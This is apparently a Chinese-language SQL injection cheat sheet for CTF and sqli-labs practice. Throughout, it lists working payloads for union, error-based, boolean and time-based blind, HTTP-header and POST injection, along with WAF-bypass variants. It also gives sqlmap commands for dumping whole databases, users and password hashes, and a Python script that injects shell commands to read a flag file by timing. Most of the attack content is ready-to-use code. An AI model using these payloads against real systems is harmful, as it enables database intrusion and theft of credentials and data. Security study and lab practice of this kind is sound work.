sql 注入
手工注入过程
// 1.执行成功sql命令,查看版本号。并且可以判断到显示位
-1' union select 1,version(),3#
// 2.查看表名
-1' union select 1,table_name,3 from information_schema.tables where table_schema=database()#
// 3.查看字段名
-1' union select 1,column_name,3 from information_schema.columns where table_name='flag'#
-1' union select 1,column_name,3 from information_schema.columns where table_name='flag' limit 1,1#
// 4.查看字段内容
-1' union select 1,id,value from flag#
绕过关键字被过滤
user_id=-1'/**/UnIOn/**/SeLEct/**/*/**/from/**/(sElect/**/1)a/**/join/**/(sElect/**/2)b/**/join/**/(sElect/**/group_concat(Table_name)/**/from/**/infOrmation_schema.Tables/**/where/**/Table_schema/**/like/**/database())c#
1.Post注入,过滤and|union|select|tables|or|,| |=
手工注入
获取当前库所有表名:
user_id=-1'/**/UnIOn/**/SeLEct/**/*/**/from/**/(sElect/**/1)a/**/join/**/(sElect/**/2)b/**/join/**/(sElect/**/group_concat(Table_name)/**/from/**/infOrmation_schema.Tables/**/where/**/Table_schema/**/like/**/database())c#
2.获取flag表所有字段:
user_id=-1'/**/UnIOn/**/SeLEct/**/*/**/from/**/(sElect/**/1)a/**/join/**/(sElect/**/2)b/**/join/**/(sElect/**/group_concat(column_name)/**/from/**/infOrmation_schema.columns/**/where/**/Table_name/**/like/**/'flag')c#
3.获取字段值
user_id=-1'/**/UnIOn/**/SeLEct/**/*/**/from/**/(sElect/**/1)a/**/join/**/(sElect/**/2)b/**/join/**/(sElect/**/value/**/from/**/flag)c#
sqmap
python sqlmap.py -r tempdata/a.txt -p user_id
python sqlmap.py -r tempdata/a.txt -p user_id -dbs
python sqlmap.py -r tempdata/a.txt -p user_id -D db --tables
python sqlmap.py -r tempdata/a.txt -p user_id -D db -T flag --columns
python sqlmap.py -r tempdata/a.txt -p user_id -D db -T flag -C "value,id" --dump
1.查看所有的数据库
sqlmap -r 1 --dbs --batch
2.指定某一个数据库,查看该库下面的所有的表
sqlmap -r 1 -D [数据库名] --tables --batch
3.指定数据库,并且指定具体的表名,查看该表下面的所有内容
sqlmap -r 1 -D [数据库名] -T [表明] --dump --batch
靶场
docker run -dt --name sqli-lab -p 80:80 acgpiano/sqli-labs:latest
https://github.com/c0ny1/vulstudy.git
手工注入基础流程
理论基础
注入步骤:判断类型》对其进行闭合》获取数据库名》获取数据库表名》获取数据库列名》获取数据库字段
基本数据
information_schema.tables --记录所有表名信息的表
information_schema.columns --记录所有列名信息的表
information_schema.schemata --记录所有数据库信息的表
table_schema --数据库名
table_name --表名
column_name --列名
group_concat() --显示所有查询到的数据
联合注入
联合注入是回显注入的一种,也就是说联合注入的前提条件就是需要页面上能够有回显位。回显位就是客户端将数据展示在页面中,这个展示数据的位置就叫回显位
1.判断注入点
// 数字型
输入?id=1 正常;
输入?id=1' 报错;
//字符型
?id=1 and 1=1--+ 正常
?id=1 and 1=2--+ 正常
?id=1’ and 1=2--+ 不正常
- 判断字段数
?id=1' order by 4--+
- 判断回显点
//输入1 union select 1,2 会返回
//输入-1' union select 1,2,3....n(n为字段数) 如下图所示:回显位是2和3
- 获取数据库名称和版本号
?id=-1%27%20union%20select%201,database(),version()--+
:这里id=-1是为了取一个不存在的值,好让后面的union能体现出来到前台,也可以用id=1 and 1=2,目的就是一个结果为false的表达式
其他常用数据库信息:
version() #MySQL版本
user() #数据库用户名
database() #数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本
- 确认数据库里的表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
table_schema="security": 这里可以使用双引号、单引号,也是必须的,如果有问题,就得使用16进制编码,hex
:如果使用16进制,不是"security",而是security的16进制
- 确认user表里的字段名(列名)
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
- 获取数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
报错盲注
条件:页面没有回显点,但是必须SQL语句能够执行错误的信息
步骤:构造目标数据查询语句》选择报错注入函数》构造报错注入语句》拼接报错注入语句
常用报错函数:Floor、updatexml、extractvalue…等等。
Updatexml()则负责修改查询到的内容:语法:updatexml (XML_document, XPath_string, new_value);
XML_document是String格式,为XML文档对象的名称,XML的内容。
XPath_string (Xpath格式的字符串) ,是需要update的位置XPATH路径。
new_value,String格式,更新后的内容extractvalue():MYSQL对XML文档数据进行查询的XPATH函数:extractvalue(xml_document, xpath_string)
xml_document是string格式,为xml文档对象的名称
xpath_string (xpath格式的字符串)
extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误
步骤
- 判断是否字符型注入
- 测试是否存在报错注入
?id=1' and updatexml(1,'~',3)--+
- 查出数据库
?id=1' and updatexml(1,concat(0x7e,database()),3)--+
- 把concat中database()换成正常的查询sql语句就可以了,和联合查询语句如出一辙
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),3)--+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' )),3)--+
//通过limit来进行翻页查看
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users )),3)--+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(password) from users )),3)--+
floor 报错盲注
--爆库
SELECT * FROM user_rule WHERE id = 1 AND (SELECT 1 from
(SELECT count(*),concat(0x23,(SELECT schema_name from information_schema.schemata LIMIT 0,1),0x23,floor(rand(0)*2)) as x
from information_schema.`COLUMNS` GROUP BY x)
as y)
--爆表
SELECT * FROM user_rule WHERE id = 1 AND (SELECT 1 from
(SELECT count(*),concat(0x23,
(SELECT table_name from information_schema.`TABLES` WHERE table_schema = database() LIMIT 0,1),
0x23,floor(rand(0)*2)) as x
from information_schema.`COLUMNS` GROUP BY x)
as y)
--爆列
SELECT * FROM user_rule WHERE id = 1 AND (SELECT 1 from
(SELECT count(*),concat(0x23,(SELECT column_name from information_schema.COLUMNS where table_name = 'members' LIMIT 0,1),
0x23,floor(rand(0)*2)) as x
from information_schema.`COLUMNS` GROUP BY x)
as y)
布尔盲注
样例:这里的语句意思就是测试数据库版本第一位是不是5,通过返回的结果显示是对的。若不是5则页面返回错误,若是5则页面返回正确
?id=1' and left (version(),1)=5--+
常用布尔函数
substr(str,start,length) //str为被截取的字符串 ,start为开始截取的位置 ,length为截取的长度
substr(user(),1,1) //从user中返回的数据的第一位开始偏移位置截取一位
left(str,length) //str为被截取的字符串,length为截取的长度。
left(user(),2) //从user中返回的数据中截取前两位。
rigth(user(),2) //参考left()函数用法
ascii(char) //第一个参数char为一个字符
ascii(user()) //若char为一串字符串,结果是第一个字母的ASCII码,结合substr函数结合使用。ascii(substr(user()1,1)),获取user()中第一位字符的ASCII码
length(str) //length(admin)返回就是5。如果不是放某个字符串,放置表达式的时候,需要使用括号括起来
ord(str) //参考ascii()函数用法
时间盲注
时间盲注就是通过拼接if语句,构造我们判断的条件,根据条件的结果返回sleep()函数,使得页面的响应时间比正常的响应时间长,但是这个会由于网络情况造成误判,所以在测试前需要测试正常访问页面的时长
常用函数
if(cond,ture_result,False_result): //cond为判断条件,ture_result为真时的返回结果,false_result为假时的返回结果
?id=1 and 1=if (ascii(substr(user(),1,1))=97,1,2)
//如果user 的第一位是‘a’则将返回1,否则就返回2。然而,如果返回的是2,则会使and后的条件不成立,导致返回错误页面。这时我们可以根据页面的长度进行判定,从而达到盲注的效果
sleep(N) //第一个参数N是睡眠的时间
if (ascii(substr(user(),1,1))=114,sleep(5),2)
//如果user的第一位是‘r’,则页面返回将延迟5秒。这里需要注意的是,这5秒是在服务器端的数据库中延迟的,实际情况可能会由于网络环境等因素延迟更长时间
注入步骤
/Less-8/?id=1' and sleep(5)--+ //判断是否存在注入
?id=1' and if(length(database())=8,sleep(5),1)--+ //猜测数据库名长度
http 头部注入
后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(例如:User-Agent、Accept字段等),会对客户端HTTP Header 进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞
常见HTTP头部注入类型
- Cookie:网站为了辨别用户身份、进行session跟踪而存储在用户本地终端上的数据
- User-agent:使服务器能够识别客户端使用的操作系统,浏览器版本等
- Referer:浏览器向web服务器表名自己是从哪个页面过来的
- X-forwarded-for:简称xff头,它代表客户端(即http的请求端)真实IP
样例
User-Agent: 'and updatexml(1,0x7e,3)and '1'='1
User-Agent: 'and updatexml(1,concat(0x7e,database()),3) and' //确认数据库名
User-Agent: 'and updatexml(1,concat(0x7e,version()),3) and' //确认数据库版本号
User-Agent: 'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),3) and' //确认数据库表名
User-Agent: 'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' )),3) and' //数据库列名
User-Agent: 'and updatexml(1,concat(0x7e,(select username from users limit 0,1 )),3) and' //拿取数据
一份无回显盲注脚本
import requests
import time
s=requests.session()
flag=''
for z in range(1,50):
for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_!@#%|^&{}[]/-()+=,\\':
starTime=time.time()
url="http://127.0.0.1/?cmd=if [ `cut -c"+str(z)+"-"+str(z)+" /flag` != '"+i+"' ]; then echo 1 ; else sleep 3; fi"
r=s.get(url)
if((time.time()-starTime)>3):
flag+=i
print(flag)
break
print(z)
print('the flag is'+flag)
post注入
判断注入点
输入:用户名:admin’ and 1=1#
密码:随便输入 登录成功判断字段数
uname=admin' order by 3#判断回显点
注意前面要加个-
uname=-admin' union select 1,2#
- 确定数据库名
当然这里有时候用不了联合查询,可以使用报错、布尔等方式进行注入
uname=-admin' union select database(),2#
waf 绕过
###常见过滤
空格过滤绕过
① 两个空格代替一个
② 用TAB代替空格
③ %a0=空格
④ 若括号没被过滤可以使用括号进行过滤
⑤ %0B绕过or或and过滤绕过
① 大小写变形Or,OR,oR
② 编码
③ 添加注释/or/
④ 利用符号 and=&&,or=||
⑤ 双写and=anandd,or=oorr#或–+过滤绕过
① 单引号闭合需要在后面增加一个单引号即可
② 双引号闭合需要在后面注入语句后面增加一个双引号
③ (‘’)单引号加括号这种需要多加一个or (‘’)=('1
④ (“”)双引号加括号这种需要多加一个or (“”)=("1
⑤ or ‘1’=’1进行闭合。union,select等关键字过滤绕过
① 大小写绕过uNIon,sEeCt
② 双写绕过uniunionon,selselctct
③ 注释符绕过U/**/nion
④ 内联注释/!union/
⑤ 编码绕过等号过滤绕过
① 大于号小于号替代等号
② like绕过函数过滤绕过
① 同功能函数替换mid()替换substring()
② 各类编码绕过
sqlmap 使用
命令:sqlmap -r 55.txt -batch
#通过抓包保存为txt文件,然后通过sqlmap软件进行扫描
命令:Sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1"
#探测该页面是否存在漏洞。
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --cookie="抓取的cookie"
#当网站需要登录时,探测该页面是否存在漏洞。
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --data="username=admin&password=admin&submit=submit"
#抓取其post提交的数据填入
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --dump-all
#一键脱库命令
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --dbs
#爆出所有的数据库
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --tables
#爆出所有的数据表
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --columns
#爆出数据库中所有的列
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --current-db
#查看当前的数据库
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security --tables
#爆出数据库security中的所有的表
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users --columns
#爆出security数据库中users表中的所有的列
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users -C username --dump
#爆出数据库security中的users表中的username列中的所有数据
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100
#爆出数据库security中的users表中的username列中的前100条数据
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users --dump-all
#爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security --dump-all
#爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --dump-all
#爆出该数据库中的所有数据
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --users
#查看数据库的所有用户
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --passwords
#查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump
当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump
当MySQL>= 5.7时
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --current-user
#查看数据库当前的用户
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --is-dba
#判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --roles
#列出数据库所有管理员角色,仅适用于oracle数据库的时候
其他
如何判断字符型和数值型注入
字符型和数字型注入的主要区别在于,数字型注入不需要使用单引号闭合
数字型
SELECT * FROM users WHERE id = x
-- 正常页面显示
www.example.com/page.php?id=1 AND 1=1
-- 页面错误显示
www.example.com/page.php?id=1 AND 1=2
字符型
SELECT * FROM users WHERE id = 'x'
-- 正常页面显示
www.example.com/page.php?id=1' AND '1'='1
-- 页面错误显示
www.example.com/page.php?id=1' AND '1'='2
mysql常用字符串函数
concat()
返回结果为连接参数产生的字符串。如有任何一个参数为 NULL ,则返回值为 NULL。可以有一个或多个参数
SELECT CONCAT(id,',',NULL,',',password) AS users FROM users LIMIT 1,1;
group_concat()
GROUP_CONCAT 函数返回一个字符串结果,默认查询所有结果。该结果由分组中的值连接组合而成
SELECT GROUP_CONCAT(id,username,password) AS users FROM users;
concat_ws()
CONCAT_WS() 代表 CONCAT With Separator ,是 CONCAT() 的特殊形式。第一个参数是其它参数的分隔符。感觉比 CONCAT 更方便了呀,这样参数多的话就不用手动的去添加分隔符了
SELECT CONCAT_WS('~',id,username,password) AS users FROM users LIMIT 0,2;
rand()
rand() 是一个随机函数:产生0~1的小数
通过一个固定的随机数的种子0之后,可以形成固定的伪随机序列
loor()函数: 向下取整
rand(0) => 0~1
rand(0)*2 => 0~2
那么floor(rand(0)*2) => 要么0, 要么1